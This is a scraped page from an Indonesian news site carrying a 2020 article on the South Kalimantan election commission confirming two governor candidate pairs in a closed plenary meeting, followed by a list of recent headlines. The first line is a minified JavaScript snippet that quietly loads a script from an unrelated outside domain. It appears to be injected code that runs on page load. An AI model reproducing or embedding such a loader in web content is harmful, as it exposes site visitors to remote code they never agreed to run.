(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilgub Kalsel

Tak Hadirkan Paslon Pilgub, KPU Kalsel: Sudah Sesuai PKPU 9/2020


KANALKALIMANTAN.COM, BANJARMASIN – Dua pasangan calon (paslon) di Pilkada Kalsel yakni incumbent Sahbirin Noor- Muhidin dan kubu penantang Denny Indrayana -Difriadi secara resmi ditetapkan sebagai peserta Pilgub Kalsel 2020, berdasarkan hasil pleno KPU, Rabu (23/9/2020).

Lantaran rapat pleno bersifat tertutup, maka dua paslon yang ditetapkan KPU tidak ikut hadir. Hal ini disampaikan oleh Komisioner KPU Provinsi Kalsel Edy Ariansyah usai memberikan keterangan pers di Aula KPU Provinsi Kalsel di Banjarmasin.

“Kita tidak menghindari terkait dengan keterbukaan informasi publik. Tetapi memang ketentuan dalam Peraturan KPU yang mengatur bahwa rapat pleno penentuan ini tidak terbuka,” kata Edy.
Merujuk pasal 68 ayat (1) dan ayat (2) pada Peraturan KPU Nomor 9 Tahun 2020, rapat pleno penetapan paslon di Pilkada bersifat tertutup.

Sehingga, rapat pleno ini hanya dihadiri oleh ketua dan anggota KPU Provinsi Kalsel. “Dalam peraturan KPU tata kerja, ada rapat pleno terbuka dan ada pula rapat pleno tertutup,” imbuh Edy yang pernah menjadi Ketua KPU Provinsi Kalsel ini.

Sehingga, Edy menyebutkan, KPU Provinsi Kalsel tidak mengundang pihak eksternal dalam rapat pleno penetapan paslon ini. Termasuk tidak mengundang dua paslon Pilkada Kalsel yang ditetapkan oleh KPU Provinsi Kalsel ini. “Rapat pleno tertutup, ya hanya berlima yang hadir,” sebutnya.

Kendati demikian, Edy memastikan dua paslon Pilkada Kalsel ini telah memenuhi syarat untuk maju di Pilkada Kalsel. “Semua paslon yang mendaftar di KPU Provinsi Kalsel telah memenuhi syarat,” tegas Edy.

Setelah ditetapkan, Edy memastikan dua paslon akan berhadir dalam pengundian nomor urut yang dijadwalkan akan dihelat di Kantor KPU Provinsi Kalsel pada Kamis (24/9/2020) pukul 16:00 Wita. Dua hari kemudian, terhitung pada Sabtu (26/9/2020) mendatang, sudah memasuki masa kampanye untuk dua paslon di Pilkada Kalsel.

“Mulai tanggal 26 September, memasuki tahapan kampanye,” pungkas Edy. (Kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor: Cell


Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

9 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

14 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

15 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.